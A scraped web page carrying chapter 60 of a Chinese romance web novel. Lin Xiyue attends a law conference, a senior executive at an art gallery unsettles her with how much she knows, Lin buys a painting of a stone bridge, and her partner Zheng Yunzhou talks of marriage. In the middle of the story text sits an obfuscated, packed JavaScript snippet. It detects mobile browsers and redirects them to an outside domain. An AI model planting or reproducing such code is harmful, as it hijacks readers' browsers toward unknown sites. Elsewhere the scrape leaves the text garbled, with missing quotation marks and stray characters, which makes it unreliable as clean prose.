第60章 石桥 圈子就这么大

作品:《雁来月

    60


    京城深冬,清早推开窗,干冷的空气像张细砂纸,冰冷地往脸上扑。


    昨天厮闹得太久,林西月起晚了,她一起床,就拉开了窗帘,散散屋子里这股腥气。


    光线一透进来,郑云州被刺得皱了皱眉。


    他抬起手挡在眉骨上:“几点了?”


    “都八点多了,你不是还要去出差吗?”林西月边穿衣服边说。


    郑云州坐起来,不疾不徐地走到浴室去洗漱。


    刷牙时,手肘第十二次撞到了墙上。


    这房子哪儿哪儿都拥挤,浴室里连两个人都容不下。


    他顿了顿,又继续去刷后面的牙。


    还是得早点把林西月娶回去。


    郑云州剃完须,系着衬衫扣子出来。


    林西月绑好头发,从外面拿了条深蓝暗纹领带,踮起脚往他脖子上套:“这次去西北,要待多久啊?”


    “五六天就回来了。”郑云州拧松了一下,“就我这样子,能离得开你几天啊?”


    林西月嗔了他一眼:“一起床就开始没正形,请问你是怎么做到的?”


    郑云州垂眸看她:“什么时候说实话也叫不正经了?”


    “懒得和你理论。”林西月指了指窗子外面,“快点出门吧,你秘书都在楼下等着了。”


    郑云州拨了下她的耳垂:“最近你工作不多,下了班别老待在家里,出去锻炼锻炼。”


    林西月点头:“知道了,我不是在您的点拨之下,开始打网球了吗?”


    “哦,对了,还有件事。”郑云州从西装口袋里拿出封请帖,“青如在办画展,我没空去给她捧场了,你周六去一趟,看中了什么就买。”


    林西月接过来,扫了一眼就放在旁边:“好,我替你去。”


    郑云州又把脸低下来,点了点自己:“亲我一下。”


    林西月知道他不好对付,捧着他的脸,左左右右各亲了一遍。


    “好了吗?你能走了吗?”她问。


    郑云州满意地直起身:“能。”


    走到门口,他又再啰嗦了一遍:“按时吃饭,早点休息。”


    “晓得啦。”林西月大声回他。


    郑云州走后,她也赶紧去衣柜里取外套。


    今天上午,京**学院举办国际法年度学术会议。


    通知一早发到了东远,林西月本来让部门里的杨兆去,这个小伙子脑子活络,记事牢,但他前天被临时抽调到其他部门。


    年末例行审计,稽核审计部缺人,得知杨兆去年刚考下注会,石主任跟林西月商量,把人给要走了。


    其他人手上又都有工作,林西月只好自己来。


    她温了杯牛奶,咽下干巴巴的吐


    司后,仰头缓缓吞进喉咙里。


    林西月往她那只黑金Birkin30里塞了个笔记本,提上就出门了。


    她打车到京大门口,跟着来参会的队伍一起往里走。


    京里单位多,大家常坐在一起开会也不认识,俱是行色匆匆,各走各的。


    到了会议厅里,林西月把外套脱下来,折在手臂上。


    她走到中间几排,眼睛一路看过去,搜寻东远的铭牌。


    “林主任。一个穿着端庄清雅,像是大学生模样的姑娘叫了她一声,“来开会啊?


    林西月认出了她,是沈宗良的爱人钟且惠。


    她浅浅地笑开了:“是啊,钟小姐也是吗?


    钟且惠笑了下,把手上的会议手册发给她:“不是,今天我导师主持会议,我来帮忙的。你呀,叫我且惠就好了。


    “你是高院长的学生啊?好厉害,他几年都不招博士了,很难考吧?林西月夸赞式地问了一句。


    她们前段时间见过一次,在翁山的园子里。


    郑云州得了几篓螃蟹,从南边调了厨子来料理,宴请他那几个哥们儿。


    当时沈宗良来得晚,手里牵着他刚结婚的太太。


    林西月看她第一眼,只觉扑面而来的毓秀,她步子轻盈,走在沈宗良的身边,像个涉世未深的小女孩,看向他的眼神里,饱含热烈的爱慕与真挚。


    虽然结了婚,但夫妻俩相处时,仍流动一股脉脉温情,眼中仿佛只看得见彼此,与外人天然有一道屏障。


    在这之后,郑云州于闲谈时告诉她,说钟且惠在少女时期也是经了风霜的,吃了好大一番家道中落的苦头。


    林西月还感慨,看起来真的不像。


    她以为钟且惠是不知人间疾苦的大小姐,一定直接从父母身边走到了丈夫的怀抱中,生平最大的烦恼是怎么拒绝过多的追求者。


    如果她猜错了,那么,就是沈宗良呵护得太好,让她存住了这份天真心性。


    钟且惠笑望着她:“好会说话呀,难怪大家都那么喜欢你了。


    林西月扬了扬手里的册子,笑说:“没有,那你忙,我先去入座了,谢谢。


    “好的。


    学术会议开起来冗长枯燥,好多人听着听着就开始瞌睡。


    但林西月坐在下面认真地听,仔细地记录。


    她准备回去以后整理一下,写个PPT,给部门员工做一个转培训。


    下午会议结束,林西月先回了集团。


    一整天都在京大,她还有很多事情没处理,几项流程都走到了她这里,得她看过之后点审批。


    她一进大厅,正碰上黎总从外面回来。


    林西月和她打招呼:“黎总好。


    “你好,小林。黎岫云看了眼她手里的会议手册,和蔼地问,“今天去京大开会了,有什么收获吗?


    黎总在东远几十年,建功卓著,威信很高,做事虽然风行果决,甚至可以说有些独断,但面上亲切温和,总是挂着笑容。


    林西月点头:“学习了最新的国际法规变化,做了笔记,顺便瞻仰了一下名校风华,高考没考上,考研人家又不要我,去开会也挺不错的。


    小丫头口齿伶俐,在律所锻炼出敏捷的思维和极强的执行力。


    从她几次在中层会议上汇报工作,黎岫云就能看出来,她从不多说一句不必要的话,也不故意拖长时间引起领导重视,站起来简明扼要地报告完事项,就翩翩落座。


    国际业务部乱了一段时间,从她来了以后,也不知道怎么制伏了那帮小年轻,个个都规矩起来了,耳边也没再听到有关他们的通报。


    从前群龙无首,不是这里出岔子,就是那头闹矛盾。


    黎岫云没有笑,反而长辈式的勉励口吻:“不用妄自菲薄,能从云城考到r大,你的成绩也不错,研究生在宾大读的,对吗?


    “对的,谢谢黎总关心。林西月说。


    黎岫云又问她:“从香港到京城来,生活上还适应吗?这边比不上沿海地区的气候,冬天又干又冷。


    林西月愣了一下,旋即笑道:“还.....还挺适应的,在这边读书工作,也待了五年嘛。


    到了楼层后,她说了句——“黎总,我到了,就先出去了。


    她感到奇怪,黎总整日事务缠身,等着求见的人都排到西直门去了,怎么对她了解得这么清楚啊?


    林西月回了办公室,点掉了系统里的待阅事项后t?,把白天的笔记做了个梳理。


    靳瑶背着包,路过门口时,看她办公室亮着灯,就过去敲了两下:“主任,你不会是开完会又回来了吧?


    林西月抬起头:“是啊,该做的事情总得做完。


    “真敬业,我先下班了啊,拜拜。靳瑶说。


    “嗯,慢点开车啊,瑶瑶。


    “有数!


    走出办公室,林西月看时间还早,就去网球场找教练。


    一整场发球训练下来,她手臂酸得要命,就这样教练还是摇头,又憋着不敢言语。


    林西月没忍住笑:“马老师,您就直说吧,是不是天赋极差?


    “我怀疑你小脑发育不健全,但这话哪能我来说啊?马教练拿了瓶水给她,“你吧,还是等你男朋友来教。


    林西月:“......


    这还不如直接指着她骂呢。


    她在心里说,你少吸取郑云州的短处,小心当个万人嫌。


    马老师很少正经教学生,他在西班牙的马德里网球学校接受了系统化、专业化的训练,平时除了做职业球员外,还经常当郑云州的陪练,一个体格健壮、干净清爽,白纸一样的男大学生,也被他带得这么损了。


    周六上午,林西月难得休息,坐下来悠闲地吃了顿早餐,才出门去画廊。


    怕与高贵优雅的艺术氛围相悖,她没敢穿她那些上班的职业装。


    林西月换了条鹅黄的针织长裙,面料柔软,轻薄贴身,把她衬得又高挑婀娜了几分。


    她走到楼下,把郑云州停在这儿的一辆卡宴开出来。


    林西月搬来两三天,他就把这辆车送了来,方便她有事的时候开。


    她上下班都靠两条腿,也没什么开它的机会,就一直停在小区里。


    林西月到画廊时,展览已经开始了将近一小时。


    她下了车,把邀请函交给工作人员。


    看赵青如在忙,林西月就没叫她,自己慢慢地走,慢慢地欣赏。


    赵小姐今天的打扮又截然不同,蓝绿拼接的不规则连衣裙,领口开得很低,设计大胆,跟那天走在她先生身边,完全是两个人。


    反正是替郑云州完成消费指标,挑中了,刷完卡,她就可以回去了。


    这次展出的画作,都出自一位已故画家之手,艺名叫连山。


    他很擅长水墨写意,笔画饱满洗练,雀鸟瞠目,鲤鱼翻尾,老树枯枝,作品元素神化奇变,意境辽远而开阔。


    林西月从服务生手中取了香槟,边喝边走,末了,在一幅画着石桥的作品前停下。


    那幅画的构图很有特点,疏而有致,一个扎辫子的小女孩坐在河边,孤独地望着桥上,可桥上空无一人,不知道在等待着谁,也许谁也没有等。


    她看了很久,倒不为别的,而是画上的拱桥,很像她家门口的那一座,连河岸上的石阶,路旁撑起的晾衣竿,都极相似。


    林西月扭过头,刚想叫一声附近的工作人员,却发现身后站着黎岫云。


    “你喜欢这幅画?黎岫云问。


    她是和丈夫一起来的,穿了身庄重的米色套装,脱离了严谨的工作环境,看上去更加随和。


    林西月点头:“黎总,没想到在这儿碰见您。


    黎岫云的表情没什么变化:“我想到了,你不是和郑家老大在一起吗?


    林西月张圆了嘴。


    她怎么什么都知道?


    她为了瞒着同事,在单位里和他打电话都关上门,从来不敢让郑云州来接她,部门里的人都认为她单身。


    林西月面上一红:“黎总,那是......那是我的私事。


    “好,那是你的私事,我无权过问,


    不过你不用那么惊讶,这个圈子就这么大。黎岫云很冷静地审问,“但你能不能告诉我,你为什么喜欢它?


    林西月松开粉润的唇瓣:“它很像我的家乡,我以前也常坐在河边看书,磨蹭到天黑才回家,就像这个小女孩一样。


    黎岫云蹙着眉心:“为什么?家里不能好好待着吗?


    林西月略微顿了一下:“家里......家里有很多麻烦,我不愿回去。


    她回了家,葛善财就不准她再看书了,变着法儿地拿家务给她做。


    黎岫云的胸口起伏了片刻,像压抑着什么难言的情绪。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607748|161929||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    最后,她也只是点点头:“你和这幅画有缘,买下它吧。


    “嗯,我是准备要买的。


    这时,赵青如走过来招呼,先喊了句:“黎阿姨,您过来也不叫我。


    “看你在忙,我就和小林聊了两句。黎岫云摸了下她的头,“结婚以后变得懂事了,嫁进了书香门第,规矩多吧?


    赵青如张口就要诉苦:“多得要死,你不知道我那个婆婆......


    “不准议论长辈。黎岫云沉下脸呵斥了一句,“我下午还约了人见面,先走了。


    赵青如往她身上靠,撒娇说:“好吧,我姑妈念叨您呢,让您去家里坐坐。


    “好,有空我一定去。


    赵青如和林西月一起送她到门口,看着她上车走了。


    “知道吗?赵青如朝那棵凋敝的栾树抬了抬下巴,“连大师的本名也姓黎,是曲院长的关门弟子,也是黎阿姨的哥哥。


    林西月听过曲院长的大名,点头:“难怪啊。


    赵青如哎了一声:“他们家真是有读书的根苗,兄妹俩前后脚,从南边的小镇上,来到京里求学。哥哥得到曲院长的赏识,把他栽培成当时风光无二的新秀,妹妹在京大当学生会主席,一毕业分到姑父身边做秘书,风华正好的时候,嫁进了高门大户,还成了东远的二把手。


    “很不容易,黎总一看就是受过磨炼的。林西月说。


    赵青如和她一起往回走:“是啊,他们在老家条件也很一般,供个美术生都得勒紧裤带,连山老师后期去巴黎深造,那都是曲院长出资的,现在算彻底实现阶级变迁了。


    林西月压低了声儿:“连山老师**的?


    “**。赵青如也看了一眼周围,“为一个有夫之妇,具体我也不太清楚,是这么谣传的。


    林西月的后背隐隐发凉。


    她还怔着,就听见有人叫了一声——“月月!


    很多年没听到付长泾的声音了,林西月没甄别出来。


    “真的是你啊?付长泾紧追


    上来,站到了她面前。


    他早在人群里注意到了她了。


    乌发白肤,薄软的衣料勾出沙漏般的身体曲线,看起来又香又甜。


    付长泾本人没有注意到,但赵青如看出来了。


    他看着林西月的眼神,仿佛在看一道精致的糕点,赵青如真怕他流口水。


    林西月笑说:“是我,好久不见了。”


    “好久不见。”付长泾紧张地看了看地面,“你现在回京工作了?”


    林西月才要张口,赵青如就垫起脚喊了声:“哥,你也来了?”


    付长泾慌里慌张的,忙道:“那个,我还有别的事,先走了,我们下次再联系。”


    “你哥呢?”林西月也转过脖子去看。


    赵青如掩着嘴笑:“郑云州没来!我看你明明不喜欢,还要敷衍他,顺手帮你个小忙。”


    林西月也笑:“谢谢你。”


    “哎呀,我以前......年纪小没礼貌,说了你不少坏话,你别介意啊。”赵青如说。


    林西月认真地说:“没事,我私底下也骂过你。”


    赵青如和她拉了个勾:“行,那我们扯平了。”


    林西月指了下展区:“你让人帮我把画取下来吧,就要那张了。”


    “好。”


    她出来时,坐在车上给郑云州打电话。


    他那边很吵,风声呼啸着从耳边过,噼啪啪地响。


    “画我挑好了,是送去金浦街吗?”林西月大声问。


    像忽然换了个地方,空气又安静下来,郑云州说:“送去文园,我发地址给你。”


    “好......”


    林西月还想再说,他就挂了。


    她把地址转发给赵青如,说按这个送。


    文园在东四环,林西月一路开着导航过去。


    这是一片别墅区,她停好车,输入密码打开门,眼前是挑高六米的客厅,阳光从大落地窗里泼洒进来,给崭新的家具镀上一层金边。


    窗外草木繁茂,一层的露台是临湖的,种着几株高大的梧桐,只不过现在是冬天,叶子都掉光了。


    郑老板的房产好多,她来都没来过这里。


    林西月在客厅转了一圈,找了个合适的位置。


    很快,画廊的工人们也来了,帮着她把那副画挂上。


    “辛苦了。”林西月一人发了几百小费,“回去路上小心。”


    她没关门,又兜转着走回来,重新站到这幅画前,盯着连山t?的印章出神。


    连老师应该在云城采过风吧?否则怎么会画得这么传神?


    林西月想得入神,忽然被人从后面抱住时,吓一大跳。


    她惊恐地扭过脖子,看见是郑云州,松了口气:“走路怎么没声音啊?”


    “我有,是你不知道在想什么。”


    郑云州低头蹭她的脸,没闻两下,就忍不住将林西月拦腰抱着,张开嘴含吻起来:“好香,身上怎么这么香?”


    他抱得太紧,腰上的软肉塞满了掌缝,让郑云州发出一声舒服的低叹,他日夜赶工作,把五天的行程压缩到三天,就是为了能在周六返京。


    林西月扭了两下,徒劳地垂下手,任由他把自己抱到沙发上。


    “喜欢这里吗?”郑云州揉着她的后背问。


    林西月半阖着眼,点头:“很漂亮,风景很好。”


    郑云州嗯了声,滚烫的气息拢着她的耳廓:“我们结婚以后,就住这里好不好?”


    “结婚?”林西月扶住他的肩膀,声音颤巍巍的,“那也不是你说好,我说好就行的,我妈妈不在了,总得知会你父母吧?”


    郑云州吻着她的脸:“我安排你和他们见面,愿意吗?”


    “愿意。”